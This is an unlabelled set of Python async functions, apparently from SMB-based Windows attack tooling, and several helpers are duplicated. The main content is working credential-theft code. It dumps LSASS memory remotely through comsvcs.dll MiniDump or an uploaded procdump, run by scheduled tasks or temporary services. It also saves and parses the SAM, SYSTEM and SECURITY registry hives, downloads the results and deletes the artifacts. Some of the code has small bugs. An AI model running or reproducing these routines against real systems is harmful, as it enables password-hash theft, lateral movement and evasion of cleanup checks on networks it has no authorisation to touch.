async def run(self): while True: try: cmd = await self.in_q.coro_get() if cmd.cmd_type == SMBFILECMD.OPEN: try: sf = SMBFile.from_remotepath(self.connection, cmd.path) await sf.open(self.connection, cmd.mode) self.filehandle[self.curhandle] = sf self.curhandle += 1 res = SMBFileOpenReply(cmd.cmd_id, self.curhandle - 1) await self.out_q.coro_put(res) except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) elif cmd.cmd_type == SMBFILECMD.READ: try: sf = self.filehandle.get(cmd.handle) await sf.seek(cmd.position, 0) data = await sf.read(cmd.count) res = SMBFileReadReply(cmd.cmd_id, cmd.handle, data) await self.out_q.coro_put(res) except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) elif cmd.cmd_type == SMBFILECMD.CLOSE: try: sf = self.filehandle.get(cmd.handle) await sf.close() del self.filehandle[cmd.handle] res = SMBFileCloseReply(cmd.cmd_id, cmd.handle) await self.out_q.coro_put(res) except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) elif cmd.cmd_type == SMBFILECMD.WRITE: try: sf = self.filehandle.get(cmd.handle) await sf.seek(cmd.position, 0) count = await sf.write(cmd.data) del self.filehandle[cmd.handle] res = SMBFileWriteReply(cmd.cmd_id, cmd.handle, count) await self.out_q.coro_put(res) except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) elif cmd.cmd_type == SMBFILECMD.TERMINATE: for handle in self.filehandle: sf = self.filehandle[handle] await sf.close() del self.filehandle[handle] return except Exception as e: res = SMBFileError(cmd.cmd_id, str(e)) await self.out_q.coro_put(res) return
async def put_file(self, local_path, remote_path): """ remote_path must be a full UNC path with the file name included! """ smbfile = SMBFile.from_remotepath(self.connection, remote_path) await smbfile.open(self.connection, 'w') with open(local_path, 'rb') as f: await smbfile.write_buffer(f) await smbfile.close() return True
async def put_file(self, local_path, remote_path): """ remote_path must be a full UNC path with the file name included! """ try: smbfile = SMBFile.from_remotepath(self.connection, remote_path) _, err = await smbfile.open(self.connection, 'w') if err is not None: return False, err with open(local_path, 'rb') as f: total_writen, err = await smbfile.write_buffer(f) await smbfile.close() return total_writen, None except Exception as e: return False, e
async def put_file(self, local_path, remote_path): """ remote_path must be a full UNC path with the file name included! """ try: smbfile = SMBFile.from_remotepath(self.connection, remote_path) _, err = await smbfile.open(self.connection, 'w') if err is not None: return False, None with open(local_path, 'rb') as f: await smbfile.write_buffer(f) await asyncio.sleep( 0) #to make sure we are not consuming all CPU await smbfile.close() return True, None except Exception as e: return False, e
async def task_dump_lsass(self, lsass_file_name=None, silent=False): try: _, err = await self.connect_rpc('TSCH') if err is not None: raise err if lsass_file_name is None: lsass_file_name = os.urandom(4).hex() + '.arj' command = "powershell.exe -NoP -C \"%%windir%%\\System32\\rundll32.exe %%windir%%\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id \\Windows\\Temp\\%s full;Wait-Process -Id (Get-Process rundll32).id\"" % lsass_file_name logger.debug('Command: %s' % command) res, err = await self.tasks_execute_commands([command]) if err is not None: raise err if silent is False: print( '[%s] Dumping task created on remote end, now waiting...' % self.connection.target.get_hostname_or_ip()) for _ in range(5): await asyncio.sleep(5) temp = SMBFile.from_remotepath( self.connection, '\\ADMIN$\\Temp\\%s' % lsass_file_name) _, err = await temp.open(self.connection) if err is not None: continue if silent is False: print('[%s] Remote file location: C:\\Windows\\Temp\\%s' % (self.connection.target.get_hostname_or_ip(), lsass_file_name)) return temp, None return None, err except Exception as e: return None, e
async def regdump(url, hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', enable_wait=3): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from aiosmb.commons.interfaces.file import SMBFile from aiosmb.dcerpc.v5.common.service import SMBServiceStatus from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' po = None async with connection: logging.debug('[REGDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[REGDUMP] Connected to server!') async with SMBMachine(connection) as machine: logging.debug( '[REGDUMP] Checking remote registry service status...') status, err = await machine.check_service_status('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Remote registry service status: %s' % status.name) if status != SMBServiceStatus.RUNNING: logging.debug('[REGDUMP] Enabling Remote registry service') _, err = await machine.enable_service('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Starting Remote registry service') _, err = await machine.start_service('RemoteRegistry') if err is not None: raise err await asyncio.sleep(enable_wait) logging.debug( '[REGDUMP] Remote registry service should be running now...') files = {} for hive in hives: fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) remote_path = remote_base_path + fname remote_sharepath = remote_share_name + fname remote_file = SMBFileReader( SMBFile.from_remotepath(connection, remote_sharepath)) files[hive.split('\\')[1].upper()] = remote_file logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) _, err = await machine.save_registry_hive(hive, remote_path) if err is not None: raise err #await asyncio.sleep(1) for rfilename in files: rfile = files[rfilename] logging.debug('[REGDUMP] Opening reghive file %s' % rfilename) _, err = await rfile.open(connection) if err is not None: raise err try: logging.debug('[REGDUMP] Parsing hives...') po = await OffineRegistry.from_async_reader( files['SYSTEM'], sam_reader=files.get('SAM'), security_reader=files.get('SECURITY'), software_reader=files.get('SOFTWARE')) except Exception as e: print(e) logging.debug('[REGDUMP] Hives parsed OK!') logging.debug('[REGDUMP] Deleting remote files...') err = None for rfilename in files: rfile = files[rfilename] err = await rfile.close() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) _, err = await rfile.delete() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) if err is None: logging.debug('[REGDUMP] Deleting remote files OK!') return po
async def regfile(url, system, sam=None, security=None, software=None, smb_basepath=None): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.file import SMBFile from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionURL(url) connection = smburl.get_connection() if smb_basepath is None: smb_basepath = smburl.path if smb_basepath.endswith('/') is False: smb_basepath += '/' smb_basepath = smb_basepath.replace('/', '\\') system_smbfile_path = smb_basepath + system sam_smbfile = None security_smbfile = None software_smbfile = None system_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, system_smbfile_path)) if sam: sam_smbfile_path = smb_basepath + sam sam_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, sam_smbfile_path)) if security: security_smbfile_path = smb_basepath + security security_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, security_smbfile_path)) if software: software_smbfile_path = smb_basepath + software software_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, software_smbfile_path)) po = None async with connection: logging.debug('[REGFILE] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[REGFILE] Connected to server!') logging.debug('[REGFILE] Opening SYSTEM hive dump file...') # parse files here _, err = await system_smbfile.open(connection) if err is not None: raise err if sam_smbfile is not None: logging.debug('[REGFILE] Opening SAM hive dump file...') _, err = await sam_smbfile.open(connection) if err is not None: raise err if security_smbfile is not None: logging.debug('[REGFILE] Opening SECURITY hive dump file...') _, err = await security_smbfile.open(connection) if err is not None: raise err if software_smbfile is not None: logging.debug('[REGFILE] Opening SOFTWARE hive dump file...') _, err = await software_smbfile.open(connection) if err is not None: raise err logging.debug('[REGFILE] All files opened OK!') logging.debug('[REGFILE] Parsing hive files...') po = await OffineRegistry.from_async_reader( system_smbfile, sam_reader=sam_smbfile, security_reader=security_smbfile, software_reader=software_smbfile) logging.debug('[REGFILE] Hive files parsed OK!') return po
async def lsassdump(url, method='taskexec', remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', chunksize=64 * 1024, packages=['all']): from aiosmb.commons.exceptions import SMBException from aiosmb.wintypes.ntstatus import NTStatus from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from pypykatz.alsadecryptor.asbmfile import SMBFileReader from aiosmb.commons.interfaces.file import SMBFile from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) filepath = remote_base_path + fname filesharepath = remote_share_name + fname if method == 'taskexec': cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format( filepath) commands = [cmd] else: raise Exception('Unknown execution method %s' % method) mimi = None async with connection: logging.debug('[LSASSDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[LSASSDUMP] Connected!') async with SMBMachine(connection) as machine: if method == 'taskexec': logging.debug( '[LSASSDUMP] Start dumping LSASS with taskexec method!') logging.info('[LSASSDUMP] File location: %s' % filepath) _, err = await machine.tasks_execute_commands(commands) if err is not None: raise err logging.debug( '[LSASSDUMP] Sleeping a bit to let the remote host finish dumping' ) await asyncio.sleep(10) else: raise Exception('Unknown execution method %s' % method) logging.debug('[LSASSDUMP] Opening LSASS dump file...') for _ in range(3): smbfile = SMBFileReader( SMBFile.from_remotepath(connection, filesharepath)) _, err = await smbfile.open(connection) if err is not None: if isinstance(err, SMBException): if err.ntstatus == NTStatus.SHARING_VIOLATION: logging.debug( '[LSASSDUMP] LSASS dump is not yet ready, retrying...' ) await asyncio.sleep(1) continue raise err break else: raise err logging.debug('[LSASSDUMP] LSASS dump file opened!') logging.debug( '[LSASSDUMP] parsing LSASS dump file on the remote host...') mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages=packages) logging.debug('[LSASSDUMP] parsing OK!') logging.debug('[LSASSDUMP] Deleting remote dump file...') _, err = await smbfile.delete() if err is not None: logging.info( '[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err) else: logging.info('[LSASSDUMP] remote LSASS file deleted OK!') return mimi
async def smb_registry(machine, outfolder=None, show_pbar=False, use_share='C$', use_dir='temp2'): try: logger.info('[+] Starting REGDUMP on %s' % machine.connection.target.get_hostname_or_ip()) logger.info('[+] REGDUMP listing shares...') shares = {} async for share, err in machine.list_shares(): if err is not None: return False, err shares[share.name] = share if use_share not in shares: return False, Exception('Requested share name %s was not found!' % use_share) logger.info('[+] REGDUMP creating temp folder on C$...') await shares[use_share].connect(machine.connection ) #connecting to share current_directory = shares[use_share].subdirs[''] await current_directory.list(machine.connection) if use_dir not in current_directory.subdirs: logger.info( '[!] REGDUMP Requested subdir was not found! Creating it...') _, err = await current_directory.create_subdir( use_dir, machine.connection) if err is not None: logger.info( '[-] REGDUMP Failed to create requested directory "%s" Reason: %s' % (use_dir, str(err))) return err await current_directory.list(machine.connection) bpath = '%s:\\%s' % (use_share[0], use_dir) uncbp = '\\%s\\%s' % (use_share, use_dir) samh = '%s.%s' % (os.urandom(8).hex(), os.urandom(2).hex()[:3]) sech = '%s.%s' % (os.urandom(8).hex(), os.urandom(2).hex()[:3]) sysh = '%s.%s' % (os.urandom(8).hex(), os.urandom(2).hex()[:3]) reshname = { 'SAM': '%s\\%s' % (bpath, samh), 'SAM_unc': '%s\\%s' % (uncbp, samh), 'SECURITY': '%s\\%s' % (bpath, sech), 'SECURITY_unc': '%s\\%s' % (uncbp, sech), 'SYSTEM': '%s\\%s' % (bpath, sysh), 'SYSTEM_unc': '%s\\%s' % (uncbp, sysh), } for hive_name in ['SAM', 'SECURITY', 'SYSTEM']: logger.info('[+] REGDUMP Dumping %s hive to remote path' % hive_name) _, err = await machine.save_registry_hive(hive_name, reshname[hive_name]) if err is not None: logger.info('[-] Failed to dump %s hive' % hive_name) return False, err await asyncio.sleep( 5 ) # sleeping for a bit because the files might not have been written to the remote disk yet logger.info( '[+] REGDUMP Dumping part complete, now parsing the files!') po, err = await parse_regfiles(machine, reshname['SAM_unc'], reshname['SYSTEM_unc'], reshname['SECURITY_unc']) if err is not None: logger.error( '[-] REGDUMP Failed to parse the registry hive files remotely!' ) if outfolder is None: logger.info( '[+] REGDUMP no output folder specified, skipping downloading unparsable registry hives!' ) return False, None logger.info('[+] REGDUMP Downloading registry files as failsafe') for uname in ['SAM_unc', 'SECURITY_unc', 'SYSTEM_unc']: file_name = uname.split('_')[0] + '.reg' file_obj = SMBFile.from_remotepath(machine.connection, reshname[uname]) try: with tqdm(desc='Downloading %s' % file_name, total=file_obj.size, unit='B', unit_scale=True, unit_divisor=1024) as pbar: with open(outfolder.joinpath(file_name), 'wb') as outfile: async for data, err in machine.get_file_data( file_obj): if err is not None: raise err if data is None: break outfile.write(data) pbar.update(len(data)) except Exception as e: logger.error('[-] REGDUMP failed to retrieve %s' % file_name) finally: await file_obj.close() logger.info('[+] REGDUMP Sucsessfully downloaded %s' % file_name) else: if outfolder is None: print(str(po)) else: with open(outfolder.joinpath('results.txt'), 'w') as f: f.write(str(po)) return True, None except Exception as e: return False, e finally: logger.info('[+] REGDUMP Removing hive files from remote system') for uname in ['SAM_unc', 'SECURITY_unc', 'SYSTEM_unc']: _, err = await SMBFile.delete_unc(machine.connection, reshname[uname]) if err is not None: logger.warning('[+] REGDUMP Failed to clear up hive file %s' % reshname[uname]) logger.info('[+] REGDUMP on %s finished!' % machine.connection.target.get_hostname_or_ip())
async def smb_task_lsass(machine, outfolder=None, use_share='C$', use_dir='temp2', procdump_local_path='bins', is_32=False): logger.info('[+] Starting LSASS_TASK on %s' % machine.connection.target.get_hostname_or_ip()) try: shares = {} async for share, err in machine.list_shares(): if err is not None: return False, err shares[share.name] = share if use_share not in shares: return False, Exception('Requested share name %s was not found!' % use_share) logger.info('[+] LSASS_TASK creating temp folder on C$...') await shares[use_share].connect(machine.connection ) #connecting to share current_directory = shares[use_share].subdirs[''] await current_directory.list(machine.connection) if use_dir not in current_directory.subdirs: logger.info( '[!] LSASS_TASK Requested subdir was not found! Creating it...' ) _, err = await current_directory.create_subdir( use_dir, machine.connection) if err is not None: logger.info( '[-] LSASS_TASK Failed to create requested directory "%s" Reason: %s' % (use_dir, str(err))) return err await current_directory.list(machine.connection) bpath = '%s:\\%s' % (use_share[0], use_dir) uncbp = '\\%s\\%s' % (use_share, use_dir) pb = '%s.%s' % (os.urandom(8).hex(), 'exe') lb = '%s.%s' % (os.urandom(8).hex(), 'dmp') procdump_basepath = '%s\\%s' % (bpath, pb) procdump_uncpath = '%s\\%s' % (uncbp, pb) lsass_dump_basepath = '%s\\%s' % (bpath, lb) lsass_dump_uncpath = '%s\\%s' % (uncbp, lb) logger.info('[+] LSASS_TASK Uploading procdump binary to %s' % (procdump_uncpath, )) procname = 'procdump64.exe' if is_32 is True: procname = 'procdump.exe' procpath = Path(str(procdump_local_path)).joinpath(procname) _, err = await machine.put_file(str(procpath), procdump_uncpath) if err is not None: logger.error('[-] Failed to upload procdump! Reason: %s' % err) return False, err prcdump_cmd = '%s -accepteula -ma lsass.exe %s' % (procdump_basepath, lsass_dump_basepath) logger.info( '[+] LSASS_TASK Executing procdump on remote machine. Cmd: %s' % prcdump_cmd) _, err = await machine.tasks_execute_commands([prcdump_cmd]) if err is not None: logger.error( '[-] Failed to execute command on the remote end! Reason: %s' % err) return False, err logger.info( '[+] LSASS_TASK Obligatory sleep to wait for prcdump to finish dumping...' ) await asyncio.sleep(5) logger.info('[+] LSASS_TASK Parsing LSASS') res, err = await parse_lsass(machine, lsass_dump_uncpath) if err is None: if outfolder is None: print(str(res.to_grep())) else: with open(outfolder.joinpath('results.txt'), 'w') as f: f.write(str(res)) with open(outfolder.joinpath('results.json'), 'w') as f: f.write(res.to_json()) with open(outfolder.joinpath('results.grep'), 'w') as f: f.write(res.to_grep()) else: logger.error( '[-] LSASS_TASK Failed to parse the remote lsass dump!') if outfolder is None: logger.info( '[!] LSASS_TASK no output folder specified, skipping downloading unparsable dumpfile!' ) return False, None logger.info('[+] LSASS_TASK Downloading dumpfile as failsafe') file_name = 'lsass.dmp' file_obj = SMBFile.from_remotepath(machine.connection, lsass_dump_uncpath) with tqdm(desc='Downloading %s' % file_name, total=file_obj.size, unit='B', unit_scale=True, unit_divisor=1024) as pbar: with open(outfolder.joinpath(file_name), 'wb') as outfile: async for data, err in machine.get_file_data(file_obj): if err is not None: raise err if data is None: break outfile.write(data) pbar.update(len(data)) await file_obj.close() logger.info('[+] LSASS_TASK Sucsessfully downloaded %s' % file_name) logger.info('[+] LSASS_TASK Parsing success, clearing up...') _, err = await machine.del_file(lsass_dump_uncpath) if err is not None: logger.warning( '[!] LSASS_TASK Failed to clear up LSASS dump file!') _, err = await machine.del_file(procdump_uncpath) if err is not None: logger.warning( '[!] LSASS_TASK Failed to clear up Procdump executable!') return True, None except Exception as e: print(str(e)) return None, e
async def service_cmd_exec(self, command, display_name=None, service_name=None): """ Creates a service and starts it. Does not create files! there is a separate command for that! """ try: _, err = await self.connect_rpc('SERVICEMGR') if err is not None: raise err if service_name is None: service_name = os.urandom(4).hex() if display_name is None: display_name = service_name batch_file = os.urandom(4).hex() + '.bat' temp_file_name = os.urandom(4).hex() temp_file_location = '\\ADMIN$\\temp\\%s' % temp_file_name temp_location = '%%windir%%\\temp\\%s' % (temp_file_name) #totally not from impacket command = '%%COMSPEC%% /Q /c echo %s ^> %s 2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %s' % ( command, temp_location, batch_file, batch_file, batch_file) logger.debug('Command: %s' % command) res, err = await self.named_rpcs['SERVICEMGR'].create_service( service_name, display_name, command, scmr.SERVICE_DEMAND_START) if err is not None: raise err logger.debug('Service created. Name: %s' % service_name) _, err = await self.start_service(service_name) #if err is not None: # raise err await asyncio.sleep(5) logger.debug('Opening temp file. Path: %s' % temp_file_location) temp = SMBFile.from_remotepath(self.connection, temp_file_location) _, err = await temp.open(self.connection) if err is not None: raise err async for data, err in temp.read_chunked(): if err is not None: logger.debug('Temp file read failed!') raise err if data is None: break yield data, err logger.debug('Deleting temp file...') _, err = await temp.delete() if err is not None: logger.debug('Failed to delete temp file!') logger.debug('Deleting service...') _, err = await self.delete_service(service_name) if err is not None: logger.debug('Failed to delete service!') yield None, None except Exception as e: yield None, e
async def service_dump_lsass(self, lsass_file_name=None, silent=False): try: _, err = await self.connect_rpc('SERVICEMGR') if err is not None: raise err if lsass_file_name is None: lsass_file_name = os.urandom(4).hex() + '.arj' command = "powershell.exe -NoP -C \"%%windir%%\\System32\\rundll32.exe %%windir%%\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).Id \\Windows\\Temp\\%s full;Wait-Process -Id (Get-Process rundll32).id\"" % lsass_file_name service_name = os.urandom(4).hex() display_name = service_name batch_file = os.urandom(4).hex() + '.bat' #totally not from impacket command = '%%COMSPEC%% /Q /c echo %s 2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %s' % ( command, batch_file, batch_file, batch_file) logger.debug('Service: %s' % service_name) logger.debug('Command: %s' % command) #return None, None res, err = await self.named_rpcs['SERVICEMGR'].create_service( service_name, display_name, command, scmr.SERVICE_DEMAND_START) if err is not None: raise err if silent is False: print('[%s] Service created with name: %s' % (self.connection.target.get_hostname_or_ip(), service_name)) _, err = await self.start_service(service_name) for _ in range(5): await asyncio.sleep(5) temp = SMBFile.from_remotepath( self.connection, '\\ADMIN$\\Temp\\%s' % lsass_file_name) _, err = await temp.open(self.connection) if err is not None: continue if silent is False: print( '[%s] Dump file is now accessible here: C:\\Windows\\Temp\\%s' % (self.connection.target.get_hostname_or_ip(), lsass_file_name)) return temp, None return None, err except Exception as e: return None, e finally: _, err = await self.delete_service(service_name) if err is not None: logger.debug('Failed to delete service!') if silent is False: print('[%s] Failed to remove service: %s' % (self.connection.target.get_hostname_or_ip(), service_name)) else: if silent is False: print('[%s] Removed service: %s' % (self.connection.target.get_hostname_or_ip(), service_name))